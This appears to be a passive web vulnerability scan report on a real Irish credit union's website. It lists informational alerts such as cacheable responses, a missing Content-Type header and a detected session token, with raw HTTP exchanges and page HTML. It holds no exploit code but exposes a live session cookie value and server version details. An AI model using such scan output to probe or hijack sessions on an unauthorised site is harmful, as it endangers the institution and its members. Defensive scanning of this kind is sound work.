sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Origin: https://www.clcu.ie
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
X-Client-Data: CIGFywE=
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://www.clcu.ie/
Accept-Language: en-US,en;q=0.9
Request body (0 bytes)
Response Status line and header section (827 bytes)
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="recaptcha"
Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]}
Content-Length: 476095
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Date: Thu, 23 Nov 2023 11:23:35 GMT
Expires: Fri, 22 Nov 2024 11:23:35 GMT
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 14 Nov 2023 05:42:11 GMT
Content-Type: text/javascript
Vary: Accept-Encoding
Age: 331296
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Response body (476095 bytes)
(function(){/*
Copyright The Closure Library Authors.
SPDX-License-Identifier: Apache-2.0
*/
/*
Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.
Copyright The Closure Library Authors.
SPDX-License-Identifier: MIT
*/
/*
Copyright The Closure Library Authors.
SPDX-License-Identifier: Apache-2.0
*/
/*
SPDX-License-Identifier: Apache-2.0
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break;case "/m/07j7r":r+="Select all squares with <strong>trees</strong>";break;case "/m/0c9ph5":r+="Select all squares with <strong>flowers</strong>";break;case "USER_DEFINED_STRONGLABEL":r+="Select all squares that match the label: <strong>"+W[13](10,B.bm)+"</strong>";break;default:r+="Select all images below that match the one on the right"}n=(T=(E[29](4,"multicaptcha",k)&&(r+='<span class="'+O[34](40,J[2])+'">',r+="If there are none, click skip.</span>"),NI(r)),S+T);break;default:D="",G=n,l=(g=
B.Ob,B.label);switch(K[18](64,l)?l.toString():l){case "1000E_sign_type_US_stop":case "/m/02pv19":D+="Select all images with <strong>stop signs</strong>.";break;case "signs":case "/m/01mqdt":D+="Select all images with <strong>street signs</strong>.";break;case "ImageSelectStoreFront":case "storefront":case "ImageSelectBizFront":case "ImageSelectStoreFront_inconsistent":D+="Select all images with a <strong>store front</strong>.";break;case "/m/05s2s":D+="Select all images with <strong>plants</strong>.";
break;case "/m/0c9ph5":D+="Select all images with <strong>flowers</strong>.";break;case "/m/07j7r":D+="Select all images with <strong>trees</strong>.";break;case "/m/08t9c_":D+="Select all images with <strong>grass</strong>.";break;case "/m/0gqbt":D+="Select all images with <strong>shrubs</strong>.";break;case "/m/025_v":D+="Select all images with a <strong>cactus</strong>.";break;case "/m/0cdl1":D+="Select all images with <strong>palm trees</strong>";break;case "/m/05h0n":D+="Select all images of <strong>nature</strong>.";
break;case "/m/0j2kx":D+="Select all images with <strong>waterfalls</strong>.";break;case "/m/09d_r":D+="Select all images with <strong>mountains or hills</strong>.";break;case "/m/03ktm1":D+="Select all images of <strong>bodies of water</strong> such as lakes or oceans.";break;case "/m/06cnp":D+="Select all images with <strong>rivers</strong>.";break;case "/m/0b3yr":D+="Select all images with <strong>beaches</strong>.";break;case "/m/06m_p":D+="Select all images of <strong>the Sun</strong>.";break;
case "/m/04wv_":D+="Select all images with <strong>the Moon</strong>.";break;case "/m/01bqvp":D+="Select all images of <strong>the sky</strong>.";break;case "/m/07yv9":D+="Select all images with <strong>vehicles</strong>";break;case "/m/0k4j":D+="Select all images with <strong>cars</strong>";break;case "/m/0199g":D+="Select all images with <strong>bicycles</strong>";break;case "/m/04_sv":D+="Select all images with <strong>motorcycles</strong>";break;case "/m/0cvq3":D+="Select all images with <strong>pickup trucks</strong>";
break;case "/m/0fkwjg":D+="Select all images with <strong>commercial trucks</strong>";break;case "/m/019jd":D+="Select all images with <strong>boats</strong>";break;case "/m/01lcw4":D+="Select all images with <strong>limousines</strong>.";break;case "/m/0pg52":D+="Select all images with <strong>taxis</strong>.";break;case "/m/02yvhj":D+="Select all images with a <strong>school bus</strong>.";break;case "/m/01bjv":D+="Select all images with a <strong>bus</strong>.";break;case "/m/07jdr":D+="Select all images with <strong>trains</strong>.";
break;case "/m/02gx17":D+="Select all images with a <strong>construction vehicle</strong>.";break;case "/m/013_1c":D+="Select all images with <strong>statues</strong>.";break;case "/m/0h8lhkg":D+="Select all images with <strong>fountains</strong>.";break;case "/m/015kr":D+="Select all images with <strong>bridges</strong>.";break;case "/m/01phq4":D+="Select all images with a <strong>pier</strong>.";break;case "/m/079cl":D+="Select all images with a <strong>skyscraper</strong>.";break;case "/m/01_m7":D+=
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case "/m/01jw_1":D+="Select all images with <strong>bus stops</strong>";break;case "/m/03sy7v":D+="Select all images with <strong>traffic cones</strong>";break;case "/m/015qbp":D+="Select all images with <strong>parking meters</strong>";break;case "/m/01lynh":D+="Select all images with <strong>stairs</strong>";break;case "/m/01jk_4":D+="Select all images with <strong>chimneys</strong>";break;case "/m/013xlm":D+="Select all images with <strong>tractors</strong>";break;default:y="Select all images that match the label: <strong>"+
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Evidence
Age: 331296
Solution
Validate that the response does not contain sensitive, personal or
user-specific information. If it does, consider the use of the
following HTTP response headers, to limit, or prevent the content
being stored and retrieved from the cache by another user:
Cache-Control: no-cache, no-store, must-revalidate, private
Pragma: no-cache
Expires: 0
This configuration directs both HTTP 1.0 and HTTP 1.1 compliant
caching servers to not store the response, and to not retrieve the
response (without validation) from the cache, in response to a
similar request.
2. HTTPS://WWW.CLCU.IE (4)
1. CONTENT-TYPE HEADER MISSING (1)
1. GET
https://www.clcu.ie/wp-content/uploads/2019/12/foreign-currency-exchange-ireland.webp
Alert tags
* OWASP_2021_A05
* OWASP_2017_A06
Alert description
The Content-Type header was either missing or empty.
Request Request line and header section (441 bytes)
GET https://www.clcu.ie/wp-content/uploads/2019/12/foreign-currency-exchange-ireland.webp HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/links/foreign-currency-services/
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t; wordpress_test_cookie=WP%20Cookie%20check
Request body (0 bytes)
Response Status line and header section (226 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:59 GMT
Content-Length: 80722
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Wed, 04 Oct 2023 08:35:00 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Response body (80722 bytes)
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Solution
Ensure each page is setting the specific and appropriate
content-type value for the content being delivered.
2. MODERN WEB APPLICATION (1)
1. GET https://www.clcu.ie/who-we-are/
Alert tags Alert description
The application appears to be a modern web application. If you
need to explore it automatically then the Ajax Spider may well be
more effective than the standard one.
Other info
Links have been found that do not have traditional href
attributes, which is an indication that this is a modern web
application.
Request Request line and header section (311 bytes)
GET https://www.clcu.ie/who-we-are/ HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t
Request body (0 bytes)
Response Status line and header section (262 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Upgrade: h2,h2c
Last-Modified: Mon, 27 Nov 2023 03:30:51 GMT
Vary: Accept-Encoding
content-length: 104088
Response body (104088 bytes)
<!doctype html>
<html lang="en-US">
<head><meta charset="UTF-8"><script>if(navigator.userAgent.match(/MSIE|Internet Explorer/i)||navigator.userAgent.match(/Trident\/7\..*?rv:11/i)){var href=document.location.href;if(!href.match(/[?&]nowprocket/)){if(href.indexOf("?")==-1){if(href.indexOf("#")==-1){document.location.href=href+"?nowprocket=1"}else{document.location.href=href.replace("#","?nowprocket=1#")}}else{if(href.indexOf("#")==-1){document.location.href=href+"&nowprocket=1"}else{document.location.href=href.replace("#","&nowprocket=1#")}}}}</script><script>class RocketLazyLoadScripts{constructor(){this.v="1.2.4",this.triggerEvents=["keydown","mousedown","mousemove","touchmove","touchstart","touchend","wheel"],this.userEventHandler=this._triggerListener.bind(this),this.touchStartHandler=this._onTouchStart.bind(this),this.touchMoveHandler=this._onTouchMove.bind(this),this.touchEndHandler=this._onTouchEnd.bind(this),this.clickHandler=this._onClick.bind(this),this.interceptedClicks=[],window.addEventListener("pageshow",t=>{this.persisted=t.persisted}),window.addEventListener("DOMContentLoaded",()=>{this._preconnect3rdParties()}),this.delayedScripts={normal:[],async:[],defer:[]},this.trash=[],this.allJQueries=[]}_addUserInteractionListener(t){if(document.hidden){t._triggerListener();return}this.triggerEvents.forEach(e=>window.addEventListener(e,t.userEventHandler,{passive:!0})),window.addEventListener("touchstart",t.touchStartHandler,{passive:!0}),window.addEventListener("mousedown",t.touchStartHandler),document.addEventListener("visibilitychange",t.userEventHandler)}_removeUserInteractionListener(){this.triggerEvents.forEach(t=>window.removeEventListener(t,this.userEventHandler,{passive:!0})),document.removeEventListener("visibilitychange",this.userEventHandler)}_onTouchStart(t){"HTML"!==t.target.tagName&&(window.addEventListener("touchend",this.touchEndHandler),window.addEventListener("mouseup",this.touchEndHandler),window.addEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.addEventListener("mousemove",this.touchMoveHandler),t.target.addEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"onclick","rocket-onclick"),this._pendingClickStarted())}_onTouchMove(t){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler),t.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this._pendingClickFinished()}_onTouchEnd(){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler)}_onClick(t){t.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this.interceptedClicks.push(t),t.preventDefault(),t.stopPropagation(),t.stopImmediatePropagation(),this._pendingClickFinished()}_replayClicks(){window.removeEventListener("touchstart",this.touchStartHandler,{passive:!0}),window.removeEventListener("mousedown",this.touchStartHandler),this.interceptedClicks.forEach(t=>{t.target.dispatchEvent(new MouseEvent("click",{view:t.view,bubbles:!0,cancelable:!0}))})}_waitForPendingClicks(){return new Promise(t=>{this._isClickPending?this._pendingClickFinished=t:t()})}_pendingClickStarted(){this._isClickPending=!0}_pendingClickFinished(){this._isClickPending=!1}_renameDOMAttribute(t,e,r){t.hasAttribute&&t.hasAttribute(e)&&(event.target.setAttribute(r,event.target.getAttribute(e)),event.target.removeAttribute(e))}_triggerListener(){this._removeUserInteractionListener(this),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",this._loadEverythingNow.bind(this)):this._loadEverythingNow()}_preconnect3rdParties(){let t=[];document.querySelectorAll("script[type=rocketlazyloadscript][data-rocket-src]").forEach(e=>{let r=e.getAttribute("data-rocket-src");if(r&&0!==r.indexOf("data:")){0===r.indexOf("//")&&(r=location.protocol+r);try{let i=new URL(r).origin;i!==location.origin&&t.push({src:i,crossOrigin:e.crossOrigin||"module"===e.getAttribute("data-rocket-type")})}catch(n){}}}),t=[...new Map(t.map(t=>[JSON.stringify(t),t])).values()],this._batchInjectResourceHints(t,"preconnect")}async _loadEverythingNow(){this.lastBreath=Date.now(),this._delayEventListeners(),this._delayJQueryReady(this),this._handleDocumentWrite(),this._registerAllDelayedScripts(),this._preloadAllScripts(),await this._loadScriptsFromList(this.delayedScripts.normal),await this._loadScriptsFromList(this.delayedScripts.defer),await this._loadScriptsFromList(this.delayedScripts.async);try{await this._triggerDOMContentLoaded(),await this._pendingWebpackRequests(this),await this._triggerWindowLoad()}catch(t){console.error(t)}window.dispatchEvent(new Event("rocket-allScriptsLoaded")),this._waitForPendingClicks().then(()=>{this._replayClicks()}),this._emptyTrash()}_registerAllDelayedScripts(){document.querySelectorAll("script[type=rocketlazyloadscript]").forEach(t=>{t.hasAttribute("data-rocket-src")?t.hasAttribute("async")&&!1!==t.async?this.delayedScripts.async.push(t):t.hasAttribute("defer")&&!1!==t.defer||"module"===t.getAttribute("data-rocket-type")?this.delayedScripts.defer.push(t):this.delayedScripts.normal.push(t):this.delayedScripts.normal.push(t)})}async _transformScript(t){if(await this._littleBreath(),!0===t.noModule&&"noModule"in HTMLScriptElement.prototype){t.setAttribute("data-rocket-status","skipped");return}return new Promise(navigator.userAgent.indexOf("Firefox/")>0||""===navigator.vendor?e=>{let r=document.createElement("script");[...t.attributes].forEach(t=>{let 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</head><body data-rsssl=1 class="page-template page-template-template-parts page-template-content-about-who-we-are page-template-template-partscontent-about-who-we-are-php page page-id-8 new_home_page no-sidebar chrome windows page-who-we-are layout_one_class">
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<header class="haeder_top">
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<a title="Croí Laighean Credit Union" href="https://www.clcu.ie"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Croí Laighean Credit Union" alt="Croí Laighean Credit Union" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/logo.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/logo.svg" title="Croí Laighean Credit Union" alt="Croí Laighean Credit Union"></noscript></a>
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<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-7688"><a href="https://www.clcu.ie/our-community/">Our Community</a></li>
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<input type="submit" class="search-submit" id="searchsubmit" value="Search" title="Site Search" onclick="return IsEmpty();"/>
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<a href="https://www.clcu.ie/contact/" title="Locations">Locations</a>
</div>
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<a href="mailto:welcome@clcu.ie" title="welcome@clcu.ie">welcome@clcu.ie</a>
</div>
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<a href="tel:1800 23 24 25" title="1800 23 24 25">1800 23 24 25</a>
</div>
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</header>
<div class="content-sidebar">
<a id="become_member"></a>
<div class="sidebar-con upwards_arrow">
<div class="inner_box">
<h3>How Can We Help You Today?</h3> <div class="icon-text">
<div class="icon_cls">
<img class="active" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright1-1" alt="Credit-Union-Calculator" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright1-1.svg"><noscript><img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright1-1.svg" title="iconright1-1" alt="Credit-Union-Calculator"></noscript>
<img class="hover" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright1-1" alt="Credit-Union-Calculator" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/loan-calculator-hover.svg"><noscript><img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/loan-calculator-hover.svg" title="iconright1-1" alt="Credit-Union-Calculator"></noscript>
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<div class="icon-text">
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<img class="active" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright2-1" alt="Apply-For-Credit-Union-Loan" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright2-1.svg"><noscript><img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright2-1.svg" title="iconright2-1" alt="Apply-For-Credit-Union-Loan"></noscript>
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</div>
<a href="https://www.clcu.ie/loans/#apply-loan-main" title="Apply for a Loan">Apply<br>for a Loan</a>
</div>
<div class="icon-text">
<div class="icon_cls">
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<img class="hover" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright3-1" alt="Contact Your Credit Union" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/faq-hover.svg"><noscript><img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/faq-hover.svg" title="iconright3-1" alt="Contact Your Credit Union"></noscript>
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<a href="https://www.clcu.ie/faqs/" title="FAQ">FAQ</a>
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<a href="https://www.clcu.ie/contact/" title="Get in touch">Get<br>in touch</a>
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<div class="sidebar_ttl"><a href="https://www.clcu.ie/join-us/" title="Join Us"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Join Us" data-lazy-src="https://www.clcu.ie/wp-content/themes/croi-laighean/images/join-us.svg"/><noscript><img src="https://www.clcu.ie/wp-content/themes/croi-laighean/images/join-us.svg" title="Join Us"/></noscript>Join Us</a></div>
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<div class="inner_banner" style="background: url(https://www.clcu.ie/wp-content/uploads/2020/10/Who-are-we-1366x327-3-scaled.jpg);">
<h1>Who we are</h1>
<div class="banner_fade default2 " ></div>
</div>
<div id="content" class="site-content"><div class="main">
<div class="container">
<div class="inner_page_col think-bigger" >
<section id='our_story_section'>
<div class="section_container">
<div class="section_column section_column_2">
<h2>Our story</h2>
<p>Croí Laighean Credit Union has a friendly approach to modern finance. We combine all the traditional friendliness of a credit union with the modern banking facilities you demand, such as instant, real-time online access to your account and our convenient mobile app which lets you manage your finances while on the move.</p>
<p>We may work with figures all day, but at CLCU you’ll always be more than a number. When you join us, you’ll become part of a community to lean on for help. Croí Laighean Credit Union is not-for-profit, so any surplus is channelled into providing members with better products and services, loan rebates, or dividends. We also help our local community flourish through sponsorship initiatives that support schools, organisations, and clubs in your area.</p>
</div>
<div class="section_column section_column_2 section_column_right">
<h3>Why Choose Us</h3>
<ul> <li>We Support the Local Community</li>
<li>Fair and Transparent Lending Process</li>
<li>Affordable Loans Tailored to your Repayment Ability</li>
<li>Secure Savings </li>
<li>Best Value Current Account</li>
<li>Fair Insurance</li>
<li>Extra Member Benefits</li>
<li><a href="https://www.clcu.ie/contact/#opening-hours" title="here">Open 6 days a week - view timetable</a></li>
<li>The only person who benefits from a credit union… is you!</li>
</ul>
</div>
</div>
<div class="section_container">
<a href='https://www.clcu.ie/join-us/' class="join_today">Join today, it’s Free
</a>
</div>
<div class="container autoaddcms">
<div class="croi-content-wrap">
<h3>Am I eligible to join Croí Laighean Credit Union</h3>
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</section>
<section id='why_join_us_section'>
<div class="section_container">
<h2>Why join us</h2>
</div>
<div class="section_container">
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/Image1.png" class="rocket-lazyload" href='https://www.clcu.ie/credit-union-loan/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Great Value Loans </h3>
<p>Get the best loan rates in our locality</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/fair-lending.png" class="rocket-lazyload" href='https://www.clcu.ie/credit-union-loan/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Fair Lending </h3>
<p>We use our experience, not algorithms </p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/secure-savings.jpg" class="rocket-lazyload" href='https://www.clcu.ie/savings/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Secure Savings </h3>
<p>Backed by the Deposit Guarantee Scheme</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/community-support.jpg" class="rocket-lazyload" href='https://www.clcu.ie/our-recipients-list/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Community Support </h3>
<p>Over €728,000 donated in the last 7 years</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/Digital-banking.png" class="rocket-lazyload" href='https://secure.clcu.ie/login.asp'
style=''>
</a>
<div class="join_us_item_text">
<h3>Digital Banking </h3>
<p>24/7 account access with digital wallets</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/extra-benefits.jpg" class="rocket-lazyload" href='https://www.clcu.ie/'
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</a>
<div class="join_us_item_text">
<h3>Extra benefits </h3>
<p>Free loan insurance and free life benefit insurance</p>
</div>
</div>
</div>
</section>
<section id='local_trusted_section'>
<div class="section_container">
<h2>Your local trusted Credit Union</h2>
</div>
<div class="section_container local_trusted_images_container">
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style="">
</div>
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style="">
</div>
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<p><p>Since joining the Credit Union last year not only have I seen my savings increase but also managed 2 holidays so far so thanks to Edel and the team</p>
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<p class="testimonial_name">Ben Mullo</p>
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<p><p>Very easy and friendly to deal with. The whole process is very straightforward. Exceptional customer service.</p>
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<p class="testimonial_name">Gillian Lewis</p>
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<p><p>Friendly staff Helpful, understanding. Easy to open an Account. I’d required to complete opening an Account.</p>
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<p class="testimonial_name">Patrick Barr</p>
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<p><p>Very pleasant staff, always make you feel very welcome. Extremely helpful and you never feel like you’re just a number like a lot of other institutions do.</p>
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<p class="testimonial_name">Austin Levins</p>
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<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' /></noscript>
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<p><p>Very helpful great service lovely staff.</p>
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<p class="testimonial_name">Ellen Murphy</p>
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<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' /></noscript>
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<p><p>Great staff and very helpful</p>
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<p class="testimonial_name">Suzanne Lennon</p>
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<p><p>Friendly, good hours, nice to deal with, honest, they will talk to you if any problems arise</p>
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<p class="testimonial_name">Fergal Reidy</p>
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<p><p>The guys couldn’t be more helpful and friendly. We are now new customers all set up and couldn’t recommend the team more. Great job.</p>
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<p class="testimonial_name">Ray Keane</p>
</div>
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<p><p>Lovely friendly staff and never have to wait too long</p>
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<p class="testimonial_name">Marie Parsons</p>
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<p><p>Staff helpful and friendly</p>
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<p class="testimonial_name">Suzanne Walsh</p>
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<div class='text_container'>
<p><p>An excellent place to secure your savings and obtain a loan if needed at very reasonable rates.</p>
</p>
<p class="testimonial_name">Steve Keogh</p>
</div>
</div>
<div class="item">
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<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' /></noscript>
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<p><p>Speed and efficiency – they’re always very helpful and if they can’t help they find someone who will.</p>
</p>
<p class="testimonial_name">Sheena M Geraghty</p>
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<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' /></noscript>
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<p><p>The staff are always so helpful and welcoming.</p>
</p>
<p class="testimonial_name">Joanne Addie</p>
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</style>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/contact-form-7/includes/swv/js/index.js' id='swv-js'></script>
<script type='text/javascript' id='contact-form-7-js-extra'>
/* <![CDATA[ */
var wpcf7 = {"api":{"root":"https:\/\/www.clcu.ie\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/contact-form-7/includes/js/index.js' id='contact-form-7-js'></script>
<script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue}
if(typeof mutation.addedNodes[i].getElementsByClassName!=='function'){continue}
images=mutation.addedNodes[i].getElementsByTagName('img');is_image=mutation.addedNodes[i].tagName=="IMG";iframes=mutation.addedNodes[i].getElementsByTagName('iframe');is_iframe=mutation.addedNodes[i].tagName=="IFRAME";rocket_lazy=mutation.addedNodes[i].getElementsByClassName('rocket-lazyload');image_count+=images.length;iframe_count+=iframes.length;rocketlazy_count+=rocket_lazy.length;if(is_image){image_count+=1}
if(is_iframe){iframe_count+=1}}});if(image_count>0||iframe_count>0||rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script><script data-no-minify="1" async src="https://www.clcu.ie/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script><script>function lazyLoadThumb(e,alt){var t='<img data-lazy-src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"><noscript><img src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"></noscript>',a='<button class="play" aria-label="play Youtube video"></button>';t=t.replace('alt=""','alt="'+alt+'"');return t.replace("ID",e)+a}function lazyLoadYoutubeIframe(){var e=document.createElement("iframe"),t="ID?autoplay=1";t+=0===this.parentNode.dataset.query.length?'':'&'+this.parentNode.dataset.query;e.setAttribute("src",t.replace("ID",this.parentNode.dataset.src)),e.setAttribute("frameborder","0"),e.setAttribute("allowfullscreen","1"),e.setAttribute("allow", "accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"),this.parentNode.parentNode.replaceChild(e,this.parentNode)}document.addEventListener("DOMContentLoaded",function(){var e,t,p,a=document.getElementsByClassName("rll-youtube-player");for(t=0;t<a.length;t++)e=document.createElement("div"),e.setAttribute("data-id",a[t].dataset.id),e.setAttribute("data-query", a[t].dataset.query),e.setAttribute("data-src", a[t].dataset.src),e.innerHTML=lazyLoadThumb(a[t].dataset.id,a[t].dataset.alt),a[t].appendChild(e),p=e.querySelector('.play'),p.onclick=lazyLoadYoutubeIframe});</script></body>
</html>
<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1701055851 -->
Evidence
<a id="become_member"></a>
Solution
This is an informational alert and so no changes are required.
3. SESSION MANAGEMENT RESPONSE IDENTIFIED (1)
1. GET https://www.clcu.ie/sitemap.xml
Alert tags Alert description
The given response has been identified as containing a session
management token. The 'Other Info' field contains a set of header
tokens that can be used in the Header Based Session Management
Method. If the request is in a context which has a Session
Management Method set to "Auto-Detect" then this rule will change
the session management to use the tokens identified.
Other info
cookie:PHPSESSID
Request Request line and header section (235 bytes)
GET https://www.clcu.ie/sitemap.xml HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (471 bytes)
HTTP/1.1 301 Moved Permanently
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Pragma: no-cache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: Yoast SEO
